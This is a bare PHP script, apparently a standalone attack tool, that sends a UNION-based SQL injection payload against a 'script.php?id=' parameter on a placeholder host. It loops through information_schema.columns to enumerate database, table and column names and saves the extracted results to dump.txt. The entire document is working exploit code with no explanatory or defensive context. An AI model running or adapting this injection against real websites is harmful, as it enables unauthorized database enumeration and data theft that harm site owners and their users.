<?php  set_time_limit(0); for($n = 0;$n <= 500;$n++)         { $host = 'www.site.com';  $url = fsockopen($host, 80);   $req  = "GET /script.php?id=-1033901+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,concat(0x3c677261623e,0x3c677261623e,table_schema,0x203a20,table_name,0x203a20,column_name,0x3c2f677261623e2020),29,30,31,32+from+information_schema.columns+limit+$n,1/* HTTP/1.1\r\n";  $req .= "Host: $host\r\n";  $req .= "User-Agent: Opera/9.24 (Windows NT 5.1; U; eng)\r\n";  $req .= "Content-Type: application/x-www-form-urlencoded\r\n";  $req .= "Connection: Close\r\n\r\n";   fputs($url, $req); while (!feof($url)) { unset($buffer); $buffer = fread($url, 1028);                 $s = strstr($buffer,'<grab>');                   $nm = strpos($s,'</grab>');                  $result = substr($s,7,$nm - 7); 		$check = preg_replace("|grab>|", "", $result);                 #echo $pizdec; file_put_contents("dump.txt", $check, FILE_APPEND);  } $ns = "\n"; file_put_contents("dump.txt", $ns, FILE_APPEND); fclose($url);  }  ?>